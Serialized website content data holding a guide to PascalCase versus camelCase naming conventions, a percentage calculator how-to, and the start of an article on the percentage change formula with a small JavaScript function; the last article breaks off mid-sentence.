Properties",[135,164125,164127],{"className":1607,"code":164126,"language":1609,"meta":141,"style":141},"const firstName = 'Alice'\nconst isActive = true\nconst httpStatus = 200\n\nuser.firstName\nconfig.maxRetries\n",[143,164128,164129,164141,164152,164164,164168,164173],{"__ignoreMap":141},[1560,164130,164131,164133,164136,164138],{"class":1562,"line":1563},[1560,164132,8180],{"class":1669},[1560,164134,164135],{"class":1576}," firstName",[1560,164137,8186],{"class":1669},[1560,164139,164140],{"class":5634}," 'Alice'\n",[1560,164142,164143,164145,164148,164150],{"class":1562,"line":337},[1560,164144,8180],{"class":1669},[1560,164146,164147],{"class":1576}," isActive",[1560,164149,8186],{"class":1669},[1560,164151,162183],{"class":1576},[1560,164153,164154,164156,164159,164161],{"class":1562,"line":343},[1560,164155,8180],{"class":1669},[1560,164157,164158],{"class":1576}," httpStatus",[1560,164160,8186],{"class":1669},[1560,164162,164163],{"class":1576}," 200\n",[1560,164165,164166],{"class":1562,"line":365},[1560,164167,1702],{"emptyLinePlaceholder":363},[1560,164169,164170],{"class":1562,"line":889},[1560,164171,164172],{"class":1570},"user.firstName\n",[1560,164174,164175],{"class":1562,"line":1710},[1560,164176,164177],{"class":1570},"config.maxRetries\n",[33,164179,164181],{"id":164180},"functions-and-methods","Functions and Methods",[135,164183,164185],{"className":1607,"code":164184,"language":1609,"meta":141,"style":141},"function formatDate(date) { }\nfunction calculateTotal(items) { }\n\nobj.getItems()\narr.reduce(callback)\n",[143,164186,164187,164200,164213,164217,164227],{"__ignoreMap":141},[1560,164188,164189,164191,164193,164195,164197],{"class":1562,"line":1563},[1560,164190,8648],{"class":1669},[1560,164192,136437],{"class":1566},[1560,164194,1688],{"class":1570},[1560,164196,88150],{"class":2219},[1560,164198,164199],{"class":1570},") { }\n",[1560,164201,164202,164204,164206,164208,164211],{"class":1562,"line":337},[1560,164203,8648],{"class":1669},[1560,164205,134540],{"class":1566},[1560,164207,1688],{"class":1570},[1560,164209,164210],{"class":2219},"items",[1560,164212,164199],{"class":1570},[1560,164214,164215],{"class":1562,"line":343},[1560,164216,1702],{"emptyLinePlaceholder":363},[1560,164218,164219,164222,164225],{"class":1562,"line":365},[1560,164220,164221],{"class":1570},"obj.",[1560,164223,164224],{"class":1566},"getItems",[1560,164226,27830],{"class":1570},[1560,164228,164229,164232,164235],{"class":1562,"line":889},[1560,164230,164231],{"class":1570},"arr.",[1560,164233,164234],{"class":1566},"reduce",[1560,164236,164237],{"class":1570},"(callback)\n",[33,164239,164241],{"id":164240},"react-hooks","React Hooks",[135,164243,164245],{"className":1607,"code":164244,"language":1609,"meta":141,"style":141},"const [count, setCount] = useState(0)\nconst user = useCurrentUser()\nconst router = useRouter()\n",[143,164246,164247,164273,164286],{"__ignoreMap":141},[1560,164248,164249,164251,164253,164255,164257,164260,164262,164264,164267,164269,164271],{"class":1562,"line":1563},[1560,164250,8180],{"class":1669},[1560,164252,39830],{"class":1570},[1560,164254,110866],{"class":1576},[1560,164256,1459],{"class":1570},[1560,164258,164259],{"class":1576},"setCount",[1560,164261,13484],{"class":1570},[1560,164263,7297],{"class":1669},[1560,164265,164266],{"class":1566}," useState",[1560,164268,1688],{"class":1570},[1560,164270,5285],{"class":1576},[1560,164272,8252],{"class":1570},[1560,164274,164275,164277,164279,164281,164284],{"class":1562,"line":337},[1560,164276,8180],{"class":1669},[1560,164278,28060],{"class":1576},[1560,164280,8186],{"class":1669},[1560,164282,164283],{"class":1566}," useCurrentUser",[1560,164285,27830],{"class":1570},[1560,164287,164288,164290,164293,164295,164298],{"class":1562,"line":343},[1560,164289,8180],{"class":1669},[1560,164291,164292],{"class":1576}," router",[1560,164294,8186],{"class":1669},[1560,164296,164297],{"class":1566}," useRouter",[1560,164299,27830],{"class":1570},[33,164301,164303],{"id":164302},"vue-composables","Vue Composables",[135,164305,164307],{"className":1607,"code":164306,"language":1609,"meta":141,"style":141},"const { x, y } = useMouse()\nconst isDark = useDark()\n",[143,164308,164309,164331],{"__ignoreMap":141},[1560,164310,164311,164313,164315,164317,164319,164322,164324,164326,164329],{"class":1562,"line":1563},[1560,164312,8180],{"class":1669},[1560,164314,1658],{"class":1570},[1560,164316,24787],{"class":1576},[1560,164318,1459],{"class":1570},[1560,164320,164321],{"class":1576},"y",[1560,164323,49704],{"class":1570},[1560,164325,7297],{"class":1669},[1560,164327,164328],{"class":1566}," useMouse",[1560,164330,27830],{"class":1570},[1560,164332,164333,164335,164338,164340,164343],{"class":1562,"line":337},[1560,164334,8180],{"class":1669},[1560,164336,164337],{"class":1576}," isDark",[1560,164339,8186],{"class":1669},[1560,164341,164342],{"class":1566}," useDark",[1560,164344,27830],{"class":1570},[11,164346,164348],{"id":164347},"language-by-language-reference","Language-by-Language Reference",[193,164350,164351,164368],{},[196,164352,164353],{},[199,164354,164355,164357,164360,164363,164366],{},[202,164356,9824],{},[202,164358,164359],{},"Classes\u002FTypes",[202,164361,164362],{},"Functions",[202,164364,164365],{},"Variables",[202,164367,38590],{},[211,164369,164370,164390,164410,164430,164450,164470,164490],{},[199,164371,164372,164374,164378,164382,164386],{},[216,164373,9860],{},[216,164375,164376],{},[143,164377,27917],{},[216,164379,164380],{},[143,164381,23337],{},[216,164383,164384],{},[143,164385,23337],{},[216,164387,164388],{},[143,164389,38579],{},[199,164391,164392,164394,164398,164402,164406],{},[216,164393,110135],{},[216,164395,164396],{},[143,164397,27917],{},[216,164399,164400],{},[143,164401,23337],{},[216,164403,164404],{},[143,164405,23337],{},[216,164407,164408],{},[143,164409,38579],{},[199,164411,164412,164414,164418,164422,164426],{},[216,164413,9840],{},[216,164415,164416],{},[143,164417,27917],{},[216,164419,164420],{},[143,164421,23347],{},[216,164423,164424],{},[143,164425,23347],{},[216,164427,164428],{},[143,164429,38579],{},[199,164431,164432,164434,164438,164442,164446],{},[216,164433,9880],{},[216,164435,164436],{},[143,164437,27917],{},[216,164439,164440],{},[143,164441,23337],{},[216,164443,164444],{},[143,164445,23337],{},[216,164447,164448],{},[143,164449,38579],{},[199,164451,164452,164454,164458,164462,164466],{},[216,164453,23420],{},[216,164455,164456],{},[143,164457,27917],{},[216,164459,164460],{},[143,164461,27917],{},[216,164463,164464],{},[143,164465,23337],{},[216,164467,164468],{},[143,164469,27917],{},[199,164471,164472,164474,164478,164482,164486],{},[216,164473,9900],{},[216,164475,164476,8069],{},[143,164477,27917],{},[216,164479,164480],{},[143,164481,23337],{},[216,164483,164484],{},[143,164485,23337],{},[216,164487,164488],{},[143,164489,27917],{},[199,164491,164492,164494,164498,164502,164506],{},[216,164493,9920],{},[216,164495,164496],{},[143,164497,27917],{},[216,164499,164500],{},[143,164501,23347],{},[216,164503,164504],{},[143,164505,23347],{},[216,164507,164508],{},[143,164509,38579],{},[16,164511,164512,164513,164515,164516,164518],{},"* In Go, ",[143,164514,27917],{}," names are exported (public); ",[143,164517,23337],{}," names are unexported (private).",[11,164520,164522],{"id":164521},"edge-cases-and-conflicts","Edge Cases and Conflicts",[33,164524,164526],{"id":164525},"react组件-vs-html元素","React组件 vs. HTML元素",[16,164528,164529],{},"Avoid component names that clash with HTML elements:",[135,164531,164534],{"className":164532,"code":164533,"language":35165,"meta":141,"style":141},"language-diff shiki shiki-themes github-light github-dark","- \u003CSection \u002F>  \u002F\u002F ambiguous with \u003Csection>\n+ \u003CPageSection \u002F>\n",[143,164535,164536,164541],{"__ignoreMap":141},[1560,164537,164538],{"class":1562,"line":1563},[1560,164539,164540],{},"- \u003CSection \u002F>  \u002F\u002F ambiguous with \u003Csection>\n",[1560,164542,164543],{"class":1562,"line":337},[1560,164544,164545],{},"+ \u003CPageSection \u002F>\n",[33,164547,164549],{"id":164548},"abbreviations-in-pascalcase","Abbreviations in PascalCase",[16,164551,164552],{},"Treat abbreviations as words:",[135,164554,164556],{"className":164532,"code":164555,"language":35165,"meta":141,"style":141},"- XMLParser    \u002F\u002F reads as X-M-L-Parser\n+ XmlParser    \u002F\u002F reads as Xml-Parser\n\n- getUserIdHTTP   \u002F\u002F jarring transition\n- getUserIdHttp   \u002F\u002F better\n+ fetchUserIdHttp \u002F\u002F clearer intent\n",[143,164557,164558,164563,164568,164572,164577,164582],{"__ignoreMap":141},[1560,164559,164560],{"class":1562,"line":1563},[1560,164561,164562],{},"- XMLParser    \u002F\u002F reads as X-M-L-Parser\n",[1560,164564,164565],{"class":1562,"line":337},[1560,164566,164567],{},"+ XmlParser    \u002F\u002F reads as Xml-Parser\n",[1560,164569,164570],{"class":1562,"line":343},[1560,164571,1702],{"emptyLinePlaceholder":363},[1560,164573,164574],{"class":1562,"line":365},[1560,164575,164576],{},"- getUserIdHTTP   \u002F\u002F jarring transition\n",[1560,164578,164579],{"class":1562,"line":889},[1560,164580,164581],{},"- getUserIdHttp   \u002F\u002F better\n",[1560,164583,164584],{"class":1562,"line":1710},[1560,164585,164586],{},"+ fetchUserIdHttp \u002F\u002F clearer intent\n",[33,164588,164590],{"id":164589},"two-letter-abbreviations-stay-uppercase","Two-letter abbreviations stay uppercase:",[135,164592,164594],{"className":1607,"code":164593,"language":1609,"meta":141,"style":141},"const id = 42          \u002F\u002F not iD\nconst ui = getUI()      \u002F\u002F not getUi()\n",[143,164595,164596,164609],{"__ignoreMap":141},[1560,164597,164598,164600,164602,164604,164606],{"class":1562,"line":1563},[1560,164599,8180],{"class":1669},[1560,164601,43519],{"class":1576},[1560,164603,8186],{"class":1669},[1560,164605,46767],{"class":1576},[1560,164607,164608],{"class":1649},"          \u002F\u002F not iD\n",[1560,164610,164611,164613,164616,164618,164621,164624],{"class":1562,"line":337},[1560,164612,8180],{"class":1669},[1560,164614,164615],{"class":1576}," ui",[1560,164617,8186],{"class":1669},[1560,164619,164620],{"class":1566}," getUI",[1560,164622,164623],{"class":1570},"()      ",[1560,164625,164626],{"class":1649},"\u002F\u002F not getUi()\n",[33,164628,164630],{"id":164629},"boolean-naming","Boolean naming",[16,164632,164633,164634,1459,164637,1877,164639,8037],{},"Prefix boolean variables and methods with ",[143,164635,164636],{},"is",[143,164638,101140],{},[143,164640,164641],{},"should",[135,164643,164645],{"className":1607,"code":164644,"language":1609,"meta":141,"style":141},"const isActive = true\nconst hasPermission = checkPermission()\nconst shouldRetry = error.isTransient\n",[143,164646,164647,164657,164671],{"__ignoreMap":141},[1560,164648,164649,164651,164653,164655],{"class":1562,"line":1563},[1560,164650,8180],{"class":1669},[1560,164652,164147],{"class":1576},[1560,164654,8186],{"class":1669},[1560,164656,162183],{"class":1576},[1560,164658,164659,164661,164664,164666,164669],{"class":1562,"line":337},[1560,164660,8180],{"class":1669},[1560,164662,164663],{"class":1576}," hasPermission",[1560,164665,8186],{"class":1669},[1560,164667,164668],{"class":1566}," checkPermission",[1560,164670,27830],{"class":1570},[1560,164672,164673,164675,164678,164680],{"class":1562,"line":343},[1560,164674,8180],{"class":1669},[1560,164676,164677],{"class":1576}," shouldRetry",[1560,164679,8186],{"class":1669},[1560,164681,164682],{"class":1570}," error.isTransient\n",[11,164684,164686],{"id":164685},"file-naming-conventions","File Naming Conventions",[16,164688,164689],{},"The relationship between file names and the convention of their exports varies by framework:",[193,164691,164692,164704],{},[196,164693,164694],{},[199,164695,164696,164698,164701],{},[202,164697,125679],{},[202,164699,164700],{},"Component File",[202,164702,164703],{},"Utility File",[211,164705,164706,164720,164733,164747],{},[199,164707,164708,164710,164715],{},[216,164709,116856],{},[216,164711,164712],{},[143,164713,164714],{},"UserProfile.tsx",[216,164716,164717],{},[143,164718,164719],{},"formatDate.ts",[199,164721,164722,164724,164728],{},[216,164723,116778],{},[216,164725,164726],{},[143,164727,162907],{},[216,164729,164730],{},[143,164731,164732],{},"useMouse.ts",[199,164734,164735,164737,164742],{},[216,164736,9630],{},[216,164738,164739],{},[143,164740,164741],{},"user-profile.tsx",[216,164743,164744],{},[143,164745,164746],{},"format-date.ts",[199,164748,164749,164752,164757],{},[216,164750,164751],{},"Angular",[216,164753,164754],{},[143,164755,164756],{},"user-profile.component.ts",[216,164758,164759],{},[143,164760,164761],{},"format-date.service.ts",[16,164763,164764],{},"Vue and React both use PascalCase for component files. Some frameworks (Next.js App Router, SvelteKit) use kebab-case for file names regardless of what the export uses.",[11,164766,2341],{"id":2340},[193,164768,164769,164779],{},[196,164770,164771],{},[199,164772,164773,164775,164777],{},[202,164774,3684],{},[202,164776,133],{},[202,164778,3690],{},[211,164780,164781,164795,164810,164826,164841],{},[199,164782,164783,164786,164791],{},[216,164784,164785],{},"camelCase for components",[216,164787,164788],{},[143,164789,164790],{},"userProfile.vue",[216,164792,164793],{},[143,164794,162907],{},[199,164796,164797,164800,164805],{},[216,164798,164799],{},"PascalCase for hooks",[216,164801,164802],{},[143,164803,164804],{},"UseAuth()",[216,164806,164807],{},[143,164808,164809],{},"useAuth()",[199,164811,164812,164815,164823],{},[216,164813,164814],{},"Inconsistent abbreviations",[216,164816,164817,14237,164820],{},[143,164818,164819],{},"getHtml",[143,164821,164822],{},"getHTML",[216,164824,164825],{},"Pick one style, stick with it",[199,164827,164828,164831,164836],{},[216,164829,164830],{},"camelCase for types",[216,164832,164833],{},[143,164834,164835],{},"apiResponse",[216,164837,164838],{},[143,164839,164840],{},"ApiResponse",[199,164842,164843,164846,164851],{},[216,164844,164845],{},"PascalCase for variables",[216,164847,164848],{},[143,164849,164850],{},"const UserName = 'Alice'",[216,164852,164853],{},[143,164854,164855],{},"const userName = 'Alice'",[11,164857,1355],{"id":1354},[41,164859,164860,164863,164866,164869,164872,164886],{},[44,164861,164862],{},"PascalCase signals types, classes, and components — things you instantiate or reference as blueprints",[44,164864,164865],{},"camelCase signals variables, functions, and properties — things that hold values or perform actions",[44,164867,164868],{},"Both React and Vue use PascalCase for component names in templates",[44,164870,164871],{},"TypeScript uses PascalCase for interfaces, types, and enums",[44,164873,164874,164875,88000,164878,164880,164881,1459,164883,1525],{},"Treat abbreviations as words (",[143,164876,164877],{},"XmlParser",[143,164879,39518],{},"), except two-letter ones (",[143,164882,34747],{},[143,164884,164885],{},"ui",[44,164887,164888],{},"Match your file naming convention to your framework's convention, not your personal preference",[11,164890,321],{"id":320},[41,164892,164893,164897,164901],{},[44,164894,164895],{},[98,164896,23827],{"href":23826},[44,164898,164899],{},[98,164900,39667],{"href":23854},[44,164902,164903],{},[98,164904,23834],{"href":23833},[11,164906,286],{"id":285},[16,164908,164909,164910,164912],{},"Convert text between PascalCase, camelCase, snake_case, and more with our free ",[98,164911,23816],{"href":23815},". Paste any text and get instant conversions across all common naming conventions.",[2043,164914,164915],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":164917},[164918,164919,164926,164932,164933,164939,164940,164941,164942,164943],{"id":163749,"depth":337,"text":163750},{"id":163809,"depth":337,"text":163810,"children":164920},[164921,164922,164923,164924,164925],{"id":163813,"depth":343,"text":163814},{"id":163859,"depth":343,"text":163860},{"id":163922,"depth":343,"text":163923},{"id":164008,"depth":343,"text":164009},{"id":164065,"depth":343,"text":164066},{"id":164118,"depth":337,"text":164119,"children":164927},[164928,164929,164930,164931],{"id":164122,"depth":343,"text":164123},{"id":164180,"depth":343,"text":164181},{"id":164240,"depth":343,"text":164241},{"id":164302,"depth":343,"text":164303},{"id":164347,"depth":337,"text":164348},{"id":164521,"depth":337,"text":164522,"children":164934},[164935,164936,164937,164938],{"id":164525,"depth":343,"text":164526},{"id":164548,"depth":343,"text":164549},{"id":164589,"depth":343,"text":164590},{"id":164629,"depth":343,"text":164630},{"id":164685,"depth":337,"text":164686},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Understand when to use PascalCase vs camelCase — naming conventions for classes, components, variables, and constants across programming languages.",{"immutable":363},"\u002Fguides\u002Fpascalcase-vs-camelcase",{"title":163744,"description":164944},"guides\u002Fpascalcase-vs-camelcase","nC-FHqDMecpEqgm2jUrl28imf4DHjV-PR6IX_OiHyFo",{"id":164951,"title":164952,"body":164953,"date":2070,"description":165199,"extension":361,"meta":165200,"navigation":363,"path":151195,"readingTime":889,"seo":165201,"stem":165202,"__hash__":165203},"guides\u002Fguides\u002Fpercentage-calculator-guide.md","Percentage Calculator Guide - How to Calculate Percentages Easily",{"type":8,"value":164954,"toc":165174},[164955,164959,164962,164965,164969,164972,164976,164979,164985,164990,164994,164997,165002,165007,165011,165014,165019,165024,165026,165030,165033,165036,165040,165043,165047,165050,165053,165057,165060,165064,165067,165069,165073,165076,165080,165083,165087,165090,165094,165097,165101,165104,165118,165121,165132,165134,165151,165153,165160,165162],[11,164956,164958],{"id":164957},"what-is-a-percentage-calculator","What Is a Percentage Calculator?",[16,164960,164961],{},"A percentage calculator is an online tool that solves percentage problems instantly — no pen, no paper, no mental math. You enter two values, and it returns the result in a fraction of a second.",[16,164963,164964],{},"Whether you need to figure out a sale discount, calculate a tip, or measure how much a metric has grown, a percentage calculator handles all three common percentage operations in one place.",[11,164966,164968],{"id":164967},"three-modes-one-tool","Three Modes, One Tool",[16,164970,164971],{},"The ToolBoxes percentage calculator offers three distinct modes. Each solves a different type of percentage question you encounter in everyday life.",[33,164973,164975],{"id":164974},"mode-1-what-is-x-of-y","Mode 1: What Is X% of Y?",[16,164977,164978],{},"This is the most common percentage question. It answers problems like \"What is 15% of 200?\" or \"How much is 8.25% tax on a $50 purchase?\"",[16,164980,164981,164984],{},[47,164982,164983],{},"How to use it:"," Enter the percentage in the first field and the base number in the second field. The calculator returns the result immediately.",[16,164986,164987,164989],{},[47,164988,28745],{}," You see a $120 jacket marked 25% off. Enter 25 and 120 — the discount is $30, so you pay $90.",[33,164991,164993],{"id":164992},"mode-2-x-is-what-percent-of-y","Mode 2: X Is What Percent of Y?",[16,164995,164996],{},"This mode works in reverse. Instead of finding a percentage of a number, you find what percentage one number is of another.",[16,164998,164999,165001],{},[47,165000,164983],{}," Enter the part in the first field and the whole in the second field. The calculator gives you the percentage.",[16,165003,165004,165006],{},[47,165005,28745],{}," You scored 42 out of 50 on a test. Enter 42 and 50 — your score is 84%.",[33,165008,165010],{"id":165009},"mode-3-percentage-change-from-x-to-y","Mode 3: Percentage Change From X to Y",[16,165012,165013],{},"This mode calculates how much a value has increased or decreased as a percentage. It is essential for tracking growth, inflation, or performance changes.",[16,165015,165016,165018],{},[47,165017,164983],{}," Enter the original value in the first field and the new value in the second field. A positive result means an increase; a negative result means a decrease.",[16,165020,165021,165023],{},[47,165022,28745],{}," Your monthly rent went from $1,400 to $1,512. Enter 1400 and 1512 — that is an 8% increase.",[11,165025,79972],{"id":79971},[33,165027,165029],{"id":165028},"shopping-discounts","Shopping Discounts",[16,165031,165032],{},"A $250 television is on sale for 30% off. Using Mode 1, enter 30 and 250. The discount is $75, and the sale price is $175.",[16,165034,165035],{},"Stacking discounts? Calculate them one at a time. A 20% discount followed by an additional 15% off is not 35% total — the second discount applies to the already-reduced price.",[33,165037,165039],{"id":165038},"sales-tax","Sales Tax",[16,165041,165042],{},"You buy groceries worth $87.50 in a state with 6.5% sales tax. Using Mode 1, enter 6.5 and 87.50. The tax is $5.69, bringing your total to $93.19.",[33,165044,165046],{"id":165045},"restaurant-tips","Restaurant Tips",[16,165048,165049],{},"Your dinner bill is $63.40. You want to leave an 18% tip. Enter 18 and 63.40 — the tip is $11.41. Your total comes to $74.81.",[16,165051,165052],{},"For quick mental math, remember: 10% means move the decimal one place left ($6.34), then double it plus a bit for 18%.",[33,165054,165056],{"id":165055},"salary-raises","Salary Raises",[16,165058,165059],{},"Your salary increases from $72,000 to $78,480. Using Mode 3, enter 72000 and 78480. The result shows a 9% raise — useful for evaluating whether your raise beats inflation.",[33,165061,165063],{"id":165062},"test-scores","Test Scores",[16,165065,165066],{},"You answered 68 questions correctly out of 80 on an exam. Using Mode 2, enter 68 and 80. Your score is 85%.",[11,165068,7383],{"id":7382},[33,165070,165072],{"id":165071},"confusing-percentage-points-and-percentages","Confusing Percentage Points and Percentages",[16,165074,165075],{},"If an interest rate rises from 4% to 6%, that is a 2 percentage point increase — but a 50% increase in the rate itself. These are very different numbers, and mixing them up leads to costly misunderstandings.",[33,165077,165079],{"id":165078},"forgetting-the-base-in-percentage-change","Forgetting the Base in Percentage Change",[16,165081,165082],{},"Going from 80 to 100 is a 25% increase. Going from 100 back to 80 is a 20% decrease. The base matters — percentage change is not symmetric.",[33,165084,165086],{"id":165085},"adding-percentages-that-share-no-base","Adding Percentages That Share No Base",[16,165088,165089],{},"A 10% tax plus a 5% service charge is not 15% total unless both apply to the same base amount. If the service charge applies after tax, the combined rate is slightly above 15%.",[33,165091,165093],{"id":165092},"misplacing-the-decimal","Misplacing the Decimal",[16,165095,165096],{},"25% of 200 is 50, not 0.50 or 5,000. When converting a percentage to a decimal, move the decimal two places left: 25% = 0.25.",[11,165098,165100],{"id":165099},"when-to-use-a-calculator-vs-mental-math","When to Use a Calculator vs. Mental Math",[16,165102,165103],{},"Use a calculator when:",[41,165105,165106,165109,165112,165115],{},[44,165107,165108],{},"The numbers are not round (e.g., 17.5% of $83.60)",[44,165110,165111],{},"Accuracy matters for financial or legal reasons",[44,165113,165114],{},"You need percentage change, which is error-prone to compute mentally",[44,165116,165117],{},"You are verifying someone else's calculation",[16,165119,165120],{},"Use mental math when:",[41,165122,165123,165126,165129],{},[44,165124,165125],{},"You need a quick estimate, not an exact figure",[44,165127,165128],{},"The percentage is a round number like 10%, 25%, or 50%",[44,165130,165131],{},"You are comparing two approximate values",[11,165133,1355],{"id":1354},[41,165135,165136,165139,165142,165145,165148],{},[44,165137,165138],{},"A percentage calculator handles three operations: percentage of a number, percentage relationship, and percentage change",[44,165140,165141],{},"Always identify which question you are asking before choosing the mode",[44,165143,165144],{},"Percentage change depends on the base — increasing then decreasing by the same percentage does not return to the original value",[44,165146,165147],{},"Percentage points and percentage increases are fundamentally different measurements",[44,165149,165150],{},"Online calculators eliminate decimal-place errors and save time on non-trivial numbers",[11,165152,286],{"id":285},[16,165154,165155,165156,165159],{},"Ready to put these concepts to work? Use the ",[98,165157,21908],{"href":150835,"rel":165158},[14956]," on ToolBoxes to solve any percentage problem in seconds — no signup required.",[11,165161,321],{"id":320},[41,165163,165164,165168],{},[44,165165,165166,151204],{},[98,165167,151203],{"href":151202},[44,165169,165170,165173],{},[98,165171,165172],{"href":151235},"Math Calculators Online"," — discover more essential calculation tools",{"title":141,"searchDepth":337,"depth":337,"links":165175},[165176,165177,165182,165189,165195,165196,165197,165198],{"id":164957,"depth":337,"text":164958},{"id":164967,"depth":337,"text":164968,"children":165178},[165179,165180,165181],{"id":164974,"depth":343,"text":164975},{"id":164992,"depth":343,"text":164993},{"id":165009,"depth":343,"text":165010},{"id":79971,"depth":337,"text":79972,"children":165183},[165184,165185,165186,165187,165188],{"id":165028,"depth":343,"text":165029},{"id":165038,"depth":343,"text":165039},{"id":165045,"depth":343,"text":165046},{"id":165055,"depth":343,"text":165056},{"id":165062,"depth":343,"text":165063},{"id":7382,"depth":337,"text":7383,"children":165190},[165191,165192,165193,165194],{"id":165071,"depth":343,"text":165072},{"id":165078,"depth":343,"text":165079},{"id":165085,"depth":343,"text":165086},{"id":165092,"depth":343,"text":165093},{"id":165099,"depth":337,"text":165100},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how to use an online percentage calculator. Calculate percentages, percentage change, and percentage of a number instantly.",{"immutable":363},{"title":164952,"description":165199},"guides\u002Fpercentage-calculator-guide","zlF1zKxQlLNpgJhkEm0v1JY4Fc7ZIFxWWZMTA8jPbdo",{"id":165205,"title":165206,"body":165207,"date":2070,"description":165821,"extension":361,"meta":165822,"navigation":363,"path":165823,"readingTime":1710,"seo":165824,"stem":165825,"__hash__":165826},"guides\u002Fguides\u002Fpercentage-change-formula.md","Percentage Change Formula Explained",{"type":8,"value":165208,"toc":165814},[165209,165212,165216,165219,165225,165228,165372,165375,165379,165382,165438,165441,165493,165496,165502,165594,165597,165599,165605,165611,165614,165672,165678,165684,165690,165696,165699,165703,165706,165787,165790,165794,165797,165803,165806,165812],[16,165210,165211],{},"Percentage change measures how much a value has increased or decreased relative to its starting point. It is the calculation behind revenue growth reports, population statistics, price inflation, and analytics dashboards. Despite its ubiquity, the formula trips people up in two specific ways: confusing the direction of change and mishandling negative base values. This guide covers the standard formula, common pitfalls, and real examples from finance and web analytics.",[11,165213,165215],{"id":165214},"the-standard-formula","The Standard Formula",[16,165217,165218],{},"The percentage change between an old value and a new value is:",[135,165220,165223],{"className":165221,"code":165222,"language":140},[138],"Percentage Change = ((New - Old) \u002F |Old|) × 100\n",[143,165224,165222],{"__ignoreMap":141},[16,165226,165227],{},"The absolute value around the denominator ensures consistency: a change from 50 to 75 is a 50% increase, and a change from 75 to 50 is a 33.33% decrease. The direction matters because the base is different.",[135,165229,165231],{"className":1607,"code":165230,"language":1609,"meta":141,"style":141},"function percentChange(oldVal, newVal) {\n  if (oldVal === 0) {\n    throw new Error('Base value cannot be zero')\n  }\n  return ((newVal - oldVal) \u002F Math.abs(oldVal)) * 100\n}\n\npercentChange(50, 75)   \u002F\u002F 50 (50% increase)\npercentChange(75, 50)   \u002F\u002F -33.33... (33.33% decrease)\npercentChange(200, 200) \u002F\u002F 0 (no change)\n",[143,165232,165233,165252,165265,165280,165284,165311,165315,165319,165338,165355],{"__ignoreMap":141},[1560,165234,165235,165237,165240,165242,165245,165247,165250],{"class":1562,"line":1563},[1560,165236,8648],{"class":1669},[1560,165238,165239],{"class":1566}," percentChange",[1560,165241,1688],{"class":1570},[1560,165243,165244],{"class":2219},"oldVal",[1560,165246,1459],{"class":1570},[1560,165248,165249],{"class":2219},"newVal",[1560,165251,9345],{"class":1570},[1560,165253,165254,165256,165259,165261,165263],{"class":1562,"line":337},[1560,165255,27984],{"class":1669},[1560,165257,165258],{"class":1570}," (oldVal ",[1560,165260,23122],{"class":1669},[1560,165262,13541],{"class":1576},[1560,165264,9345],{"class":1570},[1560,165266,165267,165269,165271,165273,165275,165278],{"class":1562,"line":343},[1560,165268,139096],{"class":1669},[1560,165270,11489],{"class":1669},[1560,165272,28011],{"class":1566},[1560,165274,1688],{"class":1570},[1560,165276,165277],{"class":5634},"'Base value cannot be zero'",[1560,165279,8252],{"class":1570},[1560,165281,165282],{"class":1562,"line":365},[1560,165283,4959],{"class":1570},[1560,165285,165286,165288,165291,165293,165296,165298,165300,165303,165306,165308],{"class":1562,"line":889},[1560,165287,9350],{"class":1669},[1560,165289,165290],{"class":1570}," ((newVal ",[1560,165292,9412],{"class":1669},[1560,165294,165295],{"class":1570}," oldVal) ",[1560,165297,9423],{"class":1669},[1560,165299,9393],{"class":1570},[1560,165301,165302],{"class":1566},"abs",[1560,165304,165305],{"class":1570},"(oldVal)) ",[1560,165307,8069],{"class":1669},[1560,165309,165310],{"class":1576}," 100\n",[1560,165312,165313],{"class":1562,"line":1710},[1560,165314,1585],{"class":1570},[1560,165316,165317],{"class":1562,"line":1717},[1560,165318,1702],{"emptyLinePlaceholder":363},[1560,165320,165321,165324,165326,165328,165330,165333,165335],{"class":1562,"line":1747},[1560,165322,165323],{"class":1566},"percentChange",[1560,165325,1688],{"class":1570},[1560,165327,18059],{"class":1576},[1560,165329,1459],{"class":1570},[1560,165331,165332],{"class":1576},"75",[1560,165334,10081],{"class":1570},[1560,165336,165337],{"class":1649},"\u002F\u002F 50 (50% increase)\n",[1560,165339,165340,165342,165344,165346,165348,165350,165352],{"class":1562,"line":2507},[1560,165341,165323],{"class":1566},[1560,165343,1688],{"class":1570},[1560,165345,165332],{"class":1576},[1560,165347,1459],{"class":1570},[1560,165349,18059],{"class":1576},[1560,165351,10081],{"class":1570},[1560,165353,165354],{"class":1649},"\u002F\u002F -33.33... (33.33% decrease)\n",[1560,165356,165357,165359,165361,165363,165365,165367,165369],{"class":1562,"line":2524},[1560,165358,165323],{"class":1566},[1560,165360,1688],{"class":1570},[1560,165362,18101],{"class":1576},[1560,165364,1459],{"class":1570},[1560,165366,18101],{"class":1576},[1560,165368,1733],{"class":1570},[1560,165370,165371],{"class":1649},"\u002F\u002F 0 (no change)\n",[16,165373,165374],{},"The zero-base problem is not a syntax error — it is a conceptual one. If revenue goes from $0 to $10,000, calling it an \"infinite percent increase\" is 